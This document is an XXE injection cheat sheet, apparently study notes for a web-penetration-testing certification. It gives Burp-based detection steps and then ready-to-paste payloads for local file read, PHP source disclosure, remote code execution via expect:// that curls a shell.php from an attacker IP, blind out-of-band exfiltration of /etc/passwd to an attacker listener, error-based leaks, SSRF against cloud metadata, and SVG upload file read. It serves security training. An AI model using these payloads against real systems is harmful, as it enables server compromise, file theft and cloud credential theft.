XXE
XML External Entity injection from the CWES path: basic and PHP-base64 file read, expect:// RCE, OOB/error-based blind exfil, SSRF via XXE, content-type switching, and SVG upload. Every payload separated.
Detection
Step 1 — Identify XML input
In Burp Proxy → HTTP history, look for requests with:
Content-Type: application/xmlortext/xml- A body containing XML tags (
<root>,<data>,<item>) - Parameters that accept XML-structured data (SOAP endpoints, document upload, config parsers)
Also check: file upload endpoints (SVG, DOCX, XLSX, PDF parsers all process XML internally).
Step 2 — Test if external entities are processed
Inject a basic external entity and reference it. Use Burp Collaborator as the target to detect out-of-band interaction:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://YOUR_COLLABORATOR_DOMAIN"> ]>
<root><data>&xxe;</data></root>
In Burp Repeater, replace the request body with this payload. If Collaborator receives a DNS/HTTP ping → external entity processing confirmed.
Step 3 — Test for in-band file read
If the entity value is reflected in the response:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><data>&xxe;</data></root>
Look for /etc/passwd content in the response body.
Step 4 — If not reflected, test blind/OOB
Entity value is not shown? Use the OOB exfiltration or error-based techniques below.
Basic file read
Content appears where &xxe; is referenced:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><email>&xxe;</email></root>
PHP base64 read
For files with XML special chars (decode the output):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<root><email>&xxe;</email></root>
RCE via expect://
Requires the PHP expect extension:
<?xml version="1.0"?>
<!DOCTYPE email [ <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'"> ]>
<root><email>&xxe;</email></root>
OOB blind exfil
Host this as xxe.dtd; the file arrives at your listener base64-encoded:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
%oob;
The request body that pulls your DTD:
<!DOCTYPE email [ <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> %xxe; ]>
<email>&content;</email>
Error-based blind
Host as xxe.dtd - the file content appears in the error message:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
%error;
SSRF via XXE
Reach cloud metadata:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>
Content-type switch (JSON → XML)
Change the request header, then send an XXE body:
Content-Type: application/xml
SVG upload
If the app parses uploaded SVGs:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="file:///etc/passwd"/>
</svg>